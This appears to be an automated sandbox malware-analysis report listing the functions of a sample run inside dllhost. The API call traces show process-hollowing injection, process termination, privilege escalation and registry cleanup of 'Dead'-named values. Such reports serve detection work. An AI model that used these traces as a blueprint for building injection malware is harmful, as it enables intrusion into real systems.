API String ID: 3676546796-0
Opcode ID: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction ID: 932927f610c79799a7423f6de90e0e5c96436069bf88993b9f6edd8e186454c1
Opcode Fuzzy Hash: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction Fuzzy Hash: B81172B270061196E716DB17F81476A76A6F7C9FC1F558028EF8207B78CE3AD884CB00

Function 0000000140001FF8 Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140002F58), ref: 000000014000200D
HeapAlloc.KERNEL32(?,?,00000000,0000000140002F58), ref: 000000014000201E

Part of subcall function 0000000140001CDC: GetProcessHeap.KERNEL32 ref: 0000000140001D0F
Part of subcall function 0000000140001CDC: HeapAlloc.KERNEL32 ref: 0000000140001D22
Part of subcall function 0000000140001CDC: GetProcessHeap.KERNEL32 ref: 0000000140001D30
Part of subcall function 0000000140001CDC: HeapAlloc.KERNEL32 ref: 0000000140001D41
Part of subcall function 0000000140001CDC: K32EnumProcesses.KERNEL32 ref: 0000000140001D5B
Part of subcall function 0000000140001CDC: OpenProcess.KERNEL32 ref: 0000000140001D89
Part of subcall function 0000000140001CDC: K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DB6
Part of subcall function 0000000140001CDC: ReadProcessMemory.KERNEL32 ref: 0000000140001DEE
Part of subcall function 0000000140001CDC: CloseHandle.KERNELBASE ref: 0000000140001E2A
Part of subcall function 0000000140001CDC: GetProcessHeap.KERNEL32 ref: 0000000140001E3C
Part of subcall function 0000000140001CDC: HeapFree.KERNEL32 ref: 0000000140001E4A
Part of subcall function 0000000140001CDC: GetProcessHeap.KERNEL32 ref: 0000000140001E50
Part of subcall function 0000000140001CDC: RtlFreeHeap.NTDLL ref: 0000000140001E5E

OpenProcess.KERNEL32 ref: 0000000140002065
TerminateProcess.KERNEL32 ref: 0000000140002078
CloseHandle.KERNEL32 ref: 0000000140002081
GetProcessHeap.KERNEL32 ref: 0000000140002091

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: f7b66c7ddde02ce72e5708e93fa5b9cad22753f794ef07c2f3610d54e317b5ed
Instruction ID: c4f78ba7dc92e043a2521667b0c692508f3cdd8a3ed11add7ef69fba4bbf15d1
Opcode Fuzzy Hash: f7b66c7ddde02ce72e5708e93fa5b9cad22753f794ef07c2f3610d54e317b5ed
Instruction Fuzzy Hash: FF114CB570564186EB16DB67B84439AA6A1EB8DBD1F188028FF490377BDE39C485C704

Function 000002E86A09DA9C Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 000002E86A09DB15
GetFileType.KERNELBASE ref: 000002E86A09DB2B

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a491ebcf290257d12ec8eb837e4a16cf9b6865e49f739ff5ff245a9fe25edfaf
Instruction ID: 436706d76f8b52eba31773ae64c79338f6f0bfa8fa8e18ad9762645036f6c95c
Opcode Fuzzy Hash: a491ebcf290257d12ec8eb837e4a16cf9b6865e49f739ff5ff245a9fe25edfaf
Instruction Fuzzy Hash: 2B31E222694B85D2EF608F14C49826966D8F745BB0F68234ADBEE273E0CF34D4E1D302

Function 000002E86A062AB8 Relevance: 1.7, APIs: 1, Instructions: 241libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000002E86A062C29

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: 35b76960a46ac52155cfa6132bc38b190faf8d6c67efaaafb3f3cabad21d6e6e
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 0B910172B412D0C7EF64CF25D148B69B39DF758BA8F5491A59E8E07788DE38D882C701

Function 0000000140002D40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002D54: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
Part of subcall function 0000000140002D54: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
Part of subcall function 0000000140002D54: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
Part of subcall function 0000000140002D54: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
Part of subcall function 0000000140002D54: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
Part of subcall function 0000000140002D54: GetLastError.KERNEL32 ref: 0000000140002DFF
Part of subcall function 0000000140002D54: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
Part of subcall function 0000000140002D54: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4

ExitProcess.KERNEL32 ref: 0000000140002D4B

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$OpenValue$AllocQueryToken$AdjustCloseCurrentErrorExitHandleLastLookupPrivilegePrivileges
String ID:
API String ID: 2472495637-0
Opcode ID: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction ID: 59e064767c250cdef6e9f59bcc282425e560d761e872fe105b4542e7c77ad29f
Opcode Fuzzy Hash: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction Fuzzy Hash: E7A002B0A1159041DA09B77674553D91561575C741F100415611547172DD7844954655

Non-executed Functions

Function 00000001400031D8 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 236
registrymemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 0000000140003250

Part of subcall function 0000000140001854: OpenProcess.KERNEL32 ref: 000000014000188D
Part of subcall function 0000000140001854: IsWow64Process.KERNEL32 ref: 00000001400018A9
Part of subcall function 0000000140001854: CloseHandle.KERNELBASE ref: 00000001400018D1
Part of subcall function 0000000140001854: OpenProcess.KERNEL32 ref: 0000000140001926
Part of subcall function 0000000140001854: OpenProcess.KERNEL32 ref: 0000000140001945
Part of subcall function 0000000140001854: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001966
Part of subcall function 0000000140001854: PathFindFileNameW.SHLWAPI ref: 0000000140001974
Part of subcall function 0000000140001854: lstrlenW.KERNEL32 ref: 0000000140001980
Part of subcall function 0000000140001854: StrCpyW.SHLWAPI ref: 0000000140001997
Part of subcall function 0000000140001854: CloseHandle.KERNEL32 ref: 00000001400019A3
Part of subcall function 0000000140001854: StrCmpIW.SHLWAPI ref: 00000001400019D7

Part of subcall function 0000000140001854: NtQueryInformationProcess.NTDLL ref: 0000000140001A08
Part of subcall function 0000000140001854: OpenProcessToken.ADVAPI32 ref: 0000000140001A30
Part of subcall function 0000000140001854: GetTokenInformation.KERNELBASE ref: 0000000140001A5C
Part of subcall function 0000000140001854: GetLastError.KERNEL32 ref: 0000000140001A66
Part of subcall function 0000000140001854: LocalAlloc.KERNEL32 ref: 0000000140001A79
Part of subcall function 0000000140001854: GetTokenInformation.KERNELBASE ref: 0000000140001AA5
Part of subcall function 0000000140001854: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AB2
Part of subcall function 0000000140001854: GetSidSubAuthority.ADVAPI32 ref: 0000000140001AC1
Part of subcall function 0000000140001854: LocalFree.KERNEL32 ref: 0000000140001AD9
Part of subcall function 0000000140001854: CloseHandle.KERNEL32 ref: 0000000140001AED

RegOpenKeyExW.ADVAPI32 ref: 00000001400032E1
RegDeleteValueW.ADVAPI32 ref: 00000001400032F9
RegDeleteValueW.ADVAPI32 ref: 000000014000330D
RegDeleteValueW.ADVAPI32 ref: 0000000140003321
ExitProcess.KERNEL32 ref: 0000000140003358
GetProcessHeap.KERNEL32 ref: 000000014000335F
HeapAlloc.KERNEL32 ref: 0000000140003372
K32EnumProcesses.KERNEL32 ref: 000000014000338F
ExitProcess.KERNEL32 ref: 000000014000344D

Strings

open, xrefs: 000000014000354F
Deaddll32, xrefs: 0000000140003306
SOFTWARE, xrefs: 00000001400032D3
Deadstager, xrefs: 00000001400032F2
Deadsvc64, xrefs: 0000000140003333
Deaddll64, xrefs: 000000014000331A
Deadsvc32, xrefs: 0000000140003327

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Open$CloseDeleteFileHandleInformationTokenValue$AllocAuthorityExitHeapLocalName$CountEnumErrorFindFreeLastModulePathProcessesQueryReadWow64lstrlen
String ID: Deaddll32$Deaddll64$Deadstager$Deadsvc32$Deadsvc64$SOFTWARE$open
API String ID: 4225498131-962349031
Opcode ID: 450fa506a82a4360291a73bcf3c1966bc75cf997108b410fe434a52d5e732181
Instruction ID: bee31f4bb4eca69dbc2064e24843e613eed87fcc0e5c67a3900ab23587beb8cd
Opcode Fuzzy Hash: 450fa506a82a4360291a73bcf3c1966bc75cf997108b410fe434a52d5e732181
Instruction Fuzzy Hash: 0AB139F1204A8096EB7BDF27F8543EA22A9F74C7C4F458125FB0A47AB5DE798645C700

Function 0000000140002430 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 321injectionthreadmemoryCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000140002527
VirtualAllocEx.KERNEL32 ref: 0000000140002581
WriteProcessMemory.KERNEL32 ref: 00000001400025AA
VirtualProtectEx.KERNEL32 ref: 00000001400025D6
WriteProcessMemory.KERNEL32 ref: 000000014000261B
VirtualProtectEx.KERNEL32 ref: 0000000140002665
VirtualAlloc.KERNEL32 ref: 0000000140002696
GetThreadContext.KERNEL32 ref: 00000001400026B7
WriteProcessMemory.KERNEL32 ref: 00000001400026E4
SetThreadContext.KERNEL32 ref: 0000000140002707
VirtualAllocEx.KERNEL32 ref: 0000000140002741
WriteProcessMemory.KERNEL32 ref: 000000014000276A
VirtualProtectEx.KERNEL32 ref: 0000000140002796
WriteProcessMemory.KERNEL32 ref: 00000001400027DB
VirtualProtectEx.KERNEL32 ref: 0000000140002825
VirtualAlloc.KERNEL32 ref: 0000000140002856
Wow64GetThreadContext.KERNEL32 ref: 0000000140002872
WriteProcessMemory.KERNEL32 ref: 0000000140002899
Wow64SetThreadContext.KERNEL32 ref: 00000001400028B7
ResumeThread.KERNEL32 ref: 00000001400028C6
OpenProcess.KERNEL32 ref: 00000001400028E0
TerminateProcess.KERNEL32 ref: 00000001400028F3

Part of subcall function 00000001400020B8: GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020C8
Part of subcall function 00000001400020B8: GetProcAddress.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020DB

Strings

@, xrefs: 0000000140002739
NtUnmapViewOfSection, xrefs: 0000000140002539
h, xrefs: 00000001400024E7
RtlGetVersion, xrefs: 000000014000249C

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Virtual$MemoryWrite$Thread$AllocContextProtect$Wow64$AddressCreateHandleModuleOpenProcResumeTerminate
String ID: @$NtUnmapViewOfSection$RtlGetVersion$h
API String ID: 1036100660-1371749706
Opcode ID: 2ae28259712622d184201cd73a669a884a860a96c12e014958bbe065557aa5e1
Instruction ID: 07848a9698b11e3d894769372e26ec50b4a2d47e9cb93284ff33e8dea5ca0528
Opcode Fuzzy Hash: 2ae28259712622d184201cd73a669a884a860a96c12e014958bbe065557aa5e1
Instruction Fuzzy Hash: BCD16EB670165187EB62DB67F84479AB7A0FB88BC4F004014EF8947BA4DF78D599CB04

Function 0000000140001274 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 134memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
GetProcessHeap.KERNEL32 ref: 00000001400012DF
HeapAlloc.KERNEL32 ref: 00000001400012F0
RegEnumValueW.ADVAPI32 ref: 000000014000134F
StrCmpIW.SHLWAPI ref: 0000000140001388
StrCmpW.SHLWAPI ref: 0000000140001390
GetProcessHeap.KERNEL32 ref: 00000001400013BE
HeapAlloc.KERNEL32 ref: 00000001400013CC
GetProcessHeap.KERNEL32 ref: 00000001400013E9
HeapFree.KERNEL32 ref: 00000001400013F7
lstrlenW.KERNEL32 ref: 0000000140001400
GetProcessHeap.KERNEL32 ref: 000000014000140E
HeapAlloc.KERNEL32 ref: 000000014000141C
StrCpyW.SHLWAPI ref: 000000014000143E
GetProcessHeap.KERNEL32 ref: 0000000140001455
HeapFree.KERNEL32 ref: 0000000140001463

Strings

d, xrefs: 0000000140001312

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: ee98945699b493ad29f20a887b5fb4f589f7881d066e3db2e487dbd33c4d129b
Instruction ID: 43922e32370d32dc73654900e2d3c725cb019758062c5c0b8a591c9e0bc80e85
Opcode Fuzzy Hash: ee98945699b493ad29f20a887b5fb4f589f7881d066e3db2e487dbd33c4d129b
Instruction Fuzzy Hash: AE5127B2604B8486EB16DF62F4483AA77A1F788BD9F444124EB4A07B79DF38C545C704

Function 000002E86A0981B0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002E86A0981CC
RtlCaptureContext.NTDLL ref: 000002E86A0981F9
RtlLookupFunctionEntry.NTDLL ref: 000002E86A098213
RtlVirtualUnwind.NTDLL ref: 000002E86A098254
IsDebuggerPresent.KERNEL32 ref: 000002E86A0982A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002E86A0982C9
UnhandledExceptionFilter.KERNEL32 ref: 000002E86A0982D4

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: a3ef9d63b5aebb4938eb00ecce4b407a00aca507731d76c20dd7420999df12ad
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: 9D314C76245AC0CAEF608F60E8547DE7368F798744F44502ADB8E57B95DF38C588C711

Function 000002E86A09B62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002E86A09B6A5
RtlLookupFunctionEntry.NTDLL ref: 000002E86A09B6BD
RtlVirtualUnwind.NTDLL ref: 000002E86A09B6F8
IsDebuggerPresent.KERNEL32 ref: 000002E86A09B731
SetUnhandledExceptionFilter.KERNEL32 ref: 000002E86A09B73B
UnhandledExceptionFilter.KERNEL32 ref: 000002E86A09B746

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: ad6781946adf8ad9da84d22255c40b826761354fad0033cc1628a1cfab091887
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: EC316B36254B80C6EF208B25E88479EB3A8F789764F501156EA9D43BA9DF38C1858B01

Function 000002E86A0A0018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002E86A0A0087
WriteFile.KERNEL32 ref: 000002E86A0A033E
WriteFile.KERNEL32 ref: 000002E86A0A0390
GetLastError.KERNEL32 ref: 000002E86A0A0492
GetLastError.KERNEL32 ref: 000002E86A0A04F2

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: c5170a04df0c4425d30fccf0a02dadffd25407b19dc1a0e6385cc815b63f03fc
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: 4AE1DA62B58AC4CAEF00CF64D48829D7BB9F345788F148156DF8E57B9ADE38C896C701

Function 000002E86A06B150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002E86A06B180

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000002E86A06B503
*?, xrefs: 000002E86A06B1A7

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: c4433d23788f0fa9bc4922a32a35d42067d2402ff1a48462fdc438ddbe4a7116
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: B451D3A27907E4C5EF10DFA6D808A9D27ECF759BD8F845521EE8D07B86DE38C0818301

Function 000002E86A09BF5C Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2942646710.000002E86A091000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002E86A090000, based on PE: true

Associated: 00000006.00000002.2941902003.000002E86A090000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2943471437.000002E86A0A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2944368594.000002E86A0AD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945011084.000002E86A0AF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2945980871.000002E86A0B5000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e86a090000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6443cbb4f478dc75769a01e0e5b16e240a4b2319269658760e585958f13e3c18
Instruction ID: 4b364da67614e13366b8919093d8d584769c9c4ff1299579ad43355a02afaa43
Opcode Fuzzy Hash: 6443cbb4f478dc75769a01e0e5b16e240a4b2319269658760e585958f13e3c18
Instruction Fuzzy Hash: 0051F422B447D0D8FF208B76E80829E7BA9B741BE4F145255EEDD67A86CF38C581C701

Function 000002E86A0715C0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2003027264.000002E86A060000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002E86A060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e86a060000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9f47fc1d1d00a15582ce0217e319e1a5c796af2aa1155442032cf22d2cb127
Instruction ID: d955d708e997c5b798ef94acacbb184e180d42632487287c219de7a3bd1c7378
Opcode Fuzzy Hash: 7f9f47fc1d1d00a15582ce0217e319e1a5c796af2aa1155442032cf22d2cb127
Instruction Fuzzy Hash: 2BF062B1755294CAEFA48F28E8437697BE4F318384F808459D7CD83B15D63CC0A08F45

Function 000002E86A091628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002E86A091633
HeapAlloc.KERNEL32 ref: 000002E86A091642

Part of subcall function 000002E86A091268: GetProcessHeap.KERNEL32 ref: 000002E86A09126E
Part of subcall function 000002E86A091268: HeapAlloc.KERNEL32 ref: 000002E86A09127D
Part of subcall function 000002E86A091268: GetProcessHeap.KERNEL32 ref: 000002E86A091297
Part of subcall function 000002E86A091268: HeapAlloc.KERNEL32 ref: 000002E86A0912A8

Part of subcall function 000002E86A091000: GetProcessHeap.KERNEL32 ref: 000002E86A091006
Part of subcall function 000002E86A091000: HeapAlloc.KERNEL32 ref: 000002E86A091015
Part of subcall function 000002E86A091000: GetProcessHeap.KERNEL32 ref: 000002E86A091028
Part of subcall function 000002E86A091000: HeapAlloc.KERNEL32 ref: 000002E86A091037

RegOpenKeyExW.ADVAPI32 ref: 000002E86A0916B2
RegOpenKeyExW.ADVAPI32 ref: 000002E86A0916DF
RegCloseKey.ADVAPI32 ref: 000002E86A0916F9
RegOpenKeyExW.ADVAPI32 ref: 000002E86A091719
RegCloseKey.ADVAPI32 ref: 000002E86A091734
RegOpenKeyExW.ADVAPI32 ref: 000002E86A091754
RegCloseKey.ADVAPI32 ref: 000002E86A09176F
RegOpenKeyExW.ADVAPI32 ref: 000002E86A09178F
RegCloseKey.ADVAPI32 ref: 000002E86A0917AA
RegOpenKeyExW.ADVAPI32 ref: 000002E86A0917CA
RegCloseKey.ADVAPI32 ref: 000002E86A0917E5
RegOpenKeyExW.ADVAPI32 ref: 000002E86A091805
RegCloseKey.ADVAPI32 ref: 000002E86A091820
RegOpenKeyExW.ADVAPI32 ref: 000002E86A091840
RegCloseKey.ADVAPI32 ref: 000002E86A09185B
RegOpenKeyExW.ADVAPI32 ref: 000002E86A09187B
RegCloseKey.ADVAPI32 ref: 000002E86A091896
RegCloseKey.ADVAPI32 ref: 000002E86A0918A0

Part of subcall function 000002E86A0912BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002E86A091319
Part of subcall function 000002E86A0912BC: GetProcessHeap.KERNEL32 ref: 000002E86A091327
Part of subcall function 000002E86A0912BC: HeapAlloc.KERNEL32 ref: 000002E86A091338
Part of subcall function 000002E86A0912BC: RegEnumValueW.ADVAPI32 ref: 000002E86A091397
Part of subcall function 000002E86A0912BC: GetProcessHeap.KERNEL32 ref: 000002E86A0913DF
Part of subcall function 000002E86A0912BC: HeapAlloc.KERNEL32 ref: 000002E86A0913ED
Part of subcall function 000002E86A0912BC: GetProcessHeap.KERNEL32 ref: 000002E86A09140A
Part of subcall function 000002E86A0912BC: HeapFree.KERNEL32 ref: 000002E86A091418
